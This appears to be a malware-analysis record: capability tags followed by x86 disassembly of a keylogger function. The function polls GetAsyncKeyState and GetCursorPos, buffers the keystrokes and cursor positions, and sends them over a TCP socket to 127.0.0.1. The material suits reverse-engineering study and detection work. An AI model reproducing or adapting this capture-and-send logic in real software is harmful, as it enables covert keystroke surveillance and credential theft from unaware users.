Function at 0x4014b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library
Log keystrokes via polling
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x218
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x214], eax
push esi
push edi
lea eax, [esp + 0x88]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jns 0x4014eb
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [esp + 0x44], eax
cmp edi, 0xffffffff
jne 0x40150a
call esi
xor edi, edi
mov dword [esp + 0x44], edi
mov al, byte [0x4031dc]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
mov ecx, 0xf
movq xmm0, qword [str.127.0.0.1]
movq qword [esp + 0x20], xmm0
xorps xmm0, xmm0
mov byte [esp + 0x28], al
mov eax, 2
mov dword [esp + 0x34], ecx
lea ecx, [esp + 0x74]
movaps xmmword [esp + 0x70], xmm0
mov word [esp + 0x70], ax
lea eax, [esp + 0x20]
push ecx
push eax
push 2
mov dword [esp + 0x3c], 9
mov byte [esp + 0x35], 0
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x2325
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x72], ax
lea eax, [esp + 0x70]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401631
call esi
mov ecx, dword [esp + 0x34]
cmp ecx, 0xf
jbe 0x4015d0
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401661
push ecx
push edx
call fcn.00401ecb
add esp, 8
nop dword [eax]
nop word [eax + eax]
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x1c], 0
xor edi, edi
mov dword [esp + 0x20], 0
xor esi, esi
mov dword [esp + 0x24], edi
mov eax, 1
mov dword [esp + 0x28], esi
mov dword [esp + 8], eax
nop dword [eax]
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov eax, dword [esp + 8]
je 0x401682
mov byte [esp + 0x1b], al
cmp edi, esi
je 0x401667
mov byte [edi], al
inc edi
mov dword [esp + 0x24], edi
jmp 0x401682
mov ecx, dword [esp + 0x34]
cmp ecx, 0xf
jbe 0x4015d0
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4015b8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
lea eax, [esp + 0x1b]
push eax
push edi
lea ecx, [esp + 0x28]
call fcn.00401250
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 8]
mov esi, dword [esp + 0x28]
inc eax
mov dword [esp + 8], eax
cmp eax, 0xff
jl 0x401610
push 8
call fcn.00401e9b
add esp, 4
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esi]
mov dword [esp + 0x14], eax
mov dword [esp + 0x2c], eax
mov eax, dword [esi + 4]
push 8
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x38], eax
call fcn.00401ecb
mov esi, dword [esp + 0x70]
add esp, 8
cmp esi, dword [esp + 0x6c]
je 0x4016f4
mov eax, dword [esp + 0x20]
xor edx, edx
mov dword [esi], eax
xor ecx, ecx
mov eax, dword [esp + 0x28]
mov dword [esi + 8], eax
mov eax, dword [esp + 0x14]
mov dword [esi + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esi + 4], edi
mov dword [esi + 0x10], eax
add dword [esp + 0x68], 0x14
jmp 0x40170b
lea eax, [esp + 0x20]
push eax
push esi
lea ecx, [esp + 0x6c]
call fcn.00401c10
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x401739
sub edx, ecx
mov eax, ecx
cmp edx, 0x1000
jb 0x40172f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401661
push edx
push ecx
call fcn.00401ecb
add esp, 8
lea ecx, [esp + 0x50]
call fcn.004013b0
mov edi, dword [esp + 0x54]
cmp edi, 0x7fffffff
jg 0x401767
mov esi, dword [esp + 0x50]
jl 0x40175c
cmp esi, 0xfa0a1eff
jae 0x401767
add esi, 0x5f5e100
adc edi, 0
jmp 0x40176f
or esi, 0xffffffff
mov edi, 0x7fffffff
mov dword [esp + 8], edi
mov dword [esp + 0xc], esi
lea ecx, [esp + 0x58]
call fcn.004013b0
mov ecx, dword [esp + 0x5c]
cmp ecx, edi
jg 0x401803
mov eax, dword [esp + 0x58]
jl 0x401792
cmp eax, esi
jae 0x401803
mov edi, esi
sub edi, eax
mov eax, dword [esp + 8]
sbb eax, ecx
mov dword [esp + 0x10], eax
cmp eax, 0x4e94
jl 0x4017c1
jg 0x4017b1
cmp edi, 0x914f0000
jb 0x4017c1
push 0x5265c00
call sub.KERNEL32.dll_Sleep
mov edi, dword [esp + 8]
jmp 0x401777
push 0
push 0xf4240
push eax
push edi
call fcn.00402d50
push 0
mov esi, eax
mov eax, edx
push 0xf4240
push eax
push esi
call fcn.00402ee0
cmp edx, dword [esp + 0x10]
jg 0x4017f0
jl 0x4017ed
cmp eax, edi
jae 0x4017f0
add esi, 1
push esi
call sub.KERNEL32.dll_Sleep
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 8]
jmp 0x401777
mov ecx, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x1c], ecx
cmp ecx, 0xa
jl 0x4015f0
mov ecx, dword [esp + 0x68]
mov eax, 0x66666667
sub ecx, dword [esp + 0x64]
imul ecx
lea ecx, [esp + 0x68]
mov dword [esp + 0x70], 0
sar edx, 3
push ecx
mov eax, edx
mov dword [esp + 0x78], 0
shr eax, 0x1f
lea ecx, [esp + 0x68]
push ecx
add eax, edx
mov dword [esp + 0x80], 0
push eax
lea ecx, [esp + 0x7c]
call fcn.004019c0
push 0x400
call fcn.00401ed9
xor edx, edx
add esp, 4
mov edi, eax
mov dword [esp + 0x10], edx
xor esi, esi
mov dword [esp + 8], edi
mov dword [esp + 0x14], esi
jmp 0x401888
mov edx, dword [esp + 0x10]
mov edi, dword [esp + 8]
mov ecx, dword [esp + 0x70]
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + esi]
xor ecx, ecx
mov byte [edx + edi], al
movzx eax, al
mov dword [esp + 0xc], eax
test eax, eax
je 0x4018bc
mov eax, dword [esp + 0x70]
inc edx
mov eax, dword [esi + eax]
mov al, byte [ecx + eax]
inc ecx
mov byte [edi + edx], al
cmp ecx, dword [esp + 0xc]
jl 0x4018a3
mov dword [esp + 0x10], edx
push 4
call fcn.00401e9b
add esp, 4
mov esi, eax
push 4
call fcn.00401e9b
mov ecx, dword [esp + 0x74]
mov edi, eax
mov eax, dword [esp + 0x18]
add esp, 4
mov dword [esp + 0x48], edi
mov ecx, dword [eax + ecx + 0xc]
mov dword [esi], ecx
mov edx, dword [esp + 0x70]
push 4
push esi
mov edx, dword [eax + edx + 0x10]
mov eax, dword [esp + 0x18]
mov dword [edi], edx
mov ecx, dword [esi]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x14], edx
mov byte [eax + edi + 1], cl
mov ecx, dword [esp + 0x18]
movzx eax, byte [esp + 0x25]
mov byte [ecx + edi + 2], al
movzx eax, byte [esp + 0x26]
mov byte [ecx + edi + 3], al
movzx eax, byte [esp + 0x27]
mov byte [ecx + edi + 4], al
mov eax, edi
mov byte [ecx + eax + 5], dl
mov edx, edi
movzx eax, byte [esp + 0x15]
mov byte [ecx + edx + 6], al
movzx eax, byte [esp + 0x16]
mov byte [ecx + edx + 7], al
movzx eax, byte [esp + 0x17]
mov byte [ecx + edx + 8], al
add ecx, 8
mov dword [esp + 0x18], ecx
call fcn.00401ecb
mov edi, dword [esp + 0x50]
push 4
push edi
call fcn.00401ecb
mov esi, dword [esp + 0x24]
add esp, 0x10
add esi, 0x14
mov dword [esp + 0x14], esi
cmp esi, 0xc8
jl 0x401880
lea ecx, [esp + 0x70]
call fcn.00401160
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 8]
inc eax
push 0
push eax
push esi
push dword [esp + 0x50]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4019a8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push esi
call fcn.00401f05
add esp, 4
lea ecx, [esp + 0x64]
call fcn.00401160
jmp 0x4015d0